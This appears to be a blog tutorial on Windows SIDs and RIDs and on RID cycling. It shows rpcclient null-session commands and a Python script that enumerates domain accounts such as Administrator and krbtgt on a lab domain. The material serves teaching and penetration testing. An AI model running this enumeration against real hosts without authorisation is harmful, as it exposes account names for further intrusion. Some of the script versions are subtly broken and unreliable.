Manual RID Cycling



What is RID Cycling?

A Security Identifier (SID) is a unique value of a variable length used to identify a trustee.

NOTE: A trustee is a user/group account or logon session to which an Access Control Entry (ACE) apples. Each ACE in a Access Control List (ACL) has one SID that identifies a trustee.

Each account has a unique SID issued by an authority, such as a Windows Domain Controller, and stored in a security database. Each time a user logs on, the system retrieves the SID for that user from th edatabase and places it in the access token for that user. The system uses the SID in the access token to identify the user in all subsequent interactions with Windows Security. When a SID hasbeen used as the unique identifer for a user or group, it cannot ever be used again to identify another user or group.

Windows Security uses SIDs in the following security elements:

  • in Security Descriptors to identify the owner of an object and primary group
  • in access control entries, to identify the trustee for whom access is allowed, denied or audited.
  • in access tokens, to identify the user and the groups to which the user belongs
NOTE: Well known SIDs will be in a table at the end of this post!

What is a RID?

A RID is a simple concept to understand it is a variable length number that is assigned to objects at its creation and becomes part of the objects SID. It can uniquely identify an account or group within a domain.

An example sid: S 1 5 21-4064627337-2434140041-2375368561 1036

  • S: The S identifies the following string is a Security ID.
  • 1: The revision level of the SID.
  • 5: The identifier for the authority value. This is predefined for the top-level authority that issued the SID. 5 typically represents SECURITY_NT_AUTHORITY
  • 21-4064627337-2434140041-2375368561: A 48-bit identifier authority value that identifies the authority that issued the SID
  • 1036: The Relative ID (RID) is the final part of the SID. The RID uniquely identifies a security principal relative to the local or domain security authority that issued the SID. Any group or user that the Windows OS doesn’t create has a RID of 1000 or greater by default.

Windows has two sets of SIDS; 500-1000 for System and 1000-10000 for Domain created.

So, if the last value (1036) is a reference to a unique group or user, then by changing the value should result in different groups or users.

For example, if you queried a Domain Controller for the example SID (S-1-5-21-4064627337-2434140041-2375368561-1036); 1036 might be an identifier for Edward Nigma. Then logically, 1037 could hypothetically be Kristen Kringle. By automating that process, its possible to identify users. Hence the term; RID Cycling.

What is NULL Session?

There isn't too much to say about null sessions. It's simply authenticating with no username and no password.

To test for null sessions, rpcclient is being used. rpcclient is a utility initially developed to test MS-RPC functionality in Samba itself. It has undergone several stages of development and stability. Many system administrators have now written scripts around it to manage Windows NT clients from their UNIX workstation.

RID Cycling?

A really quick way to test for null sessions is to issue the following command: rpcclient -U "" -N 10.10.11.53.

This rpcclient command is setting the -U (user) flag to nothing, and giving the -N flag which means no password.

If null sessions are possible, you'll recieve a prompt like this: rpcclient $>

From this prompt, issuing the lsaquery command will result in the following:

                        
rpcclient $> lsaquery
Domain Name: LAB
Domain Sid: S-1-5-21-1363298484-1741603710-1065424840

If we were to write that in python, it would look like this:

                        
def get_sid(host):
  command='rpcclient -U "" -N {} -c "lsaquery"'.format(host)
  result=run(command, stdout=PIPE,universal_newlines=True,shell=True)
  out=result.stdout
  print(out)

Running this rid.py file, will give the same output as just running lsaquery in the rpcclient prompt:


#> python3 rid.py
Domain Name: LAB
Domain Sid: S-1-5-21-1363298484-1741603710-1065424840

                    

Thats how to get the SID, but as mentioned earlier; the RID cycling appends the RID to the end of the SID.

So the SID obtained was: S-1-5-21-1363298484-1741603710-1065424840. So, appending 500 will give us S-1-5-21-1363298484-1741603710-1065424840-500.

To pull out the SID, this line will do: sid=out[out.index("Domain Sid: ") + len("Domain Sid: "):].strip()

From the RPC Session, running lookupsids S-1-5-21-1363298484-1741603710-1065424840-500 will return the username for that RID:

LAB\Administrator (1)

And here is how to do that in python:

                        
def get_sid(host):
  command='rpcclient -U "" -N {} -c "lsaquery"'.format(host)
  result=run(command)
  sid=result[result.index("Domain Sid: ") + len("Domain Sid: "):].strip()
  return sid

def rid_cycler(host,sid):
  command='rpcclient -U "" -N {} -c "lookupsids {}-500"'.format(host,sid)
  output=run(command, stdout=PIPE,universal_newlines=True,shell=True)
  cmd_output=output.stdout.strip()
  print(cmd_output)

sid=get_sid(host)
rid_cycler(host,sid)

Running that should look like this:

                        
#> python3 rid.py                                                                                                                        
S-1-5-21-1363298484-1741603710-1065424840-500 LAB\Administrator (1)

Thats doing one manually with python, so all thats left is to loop that. Thats fairly easy and can look like this:

                        
def get_sid(host):
  command='rpcclient -U "" -N {} -c "lsaquery"'.format(host)
  result=run(command)
  sid=result[result.index("Domain Sid: ") + len("Domain Sid: "):].strip()
  return sid

def rid_cycler(host,sid):
  for rid in range(500,505):
    command='rpcclient -U "" -N {} -c "lookupsids {}-{}"'.format(host,sid,rid)
    output=run(command, stdout=PIPE,universal_newlines=True,shell=True)
    cmd_output=output.stdout.strip()
    print(cmd_output)

sid=get_sid(host)
rid_cycler(host,sid)

Running that:

                        
#> python3 rid.py
S-1-5-21-1363298484-1741603710-1065424840-500 LAB\Administrator (1)
S-1-5-21-1363298484-1741603710-1065424840-501 LAB\Guest (1)
S-1-5-21-1363298484-1741603710-1065424840-502 LAB\krbtgt (1)
S-1-5-21-1363298484-1741603710-1065424840-503 *unknown*\*unknown* (8)

Thats it, thats how RID cycling works and how to handle it with python.

References

Well known SIDS

SIDs

Trustees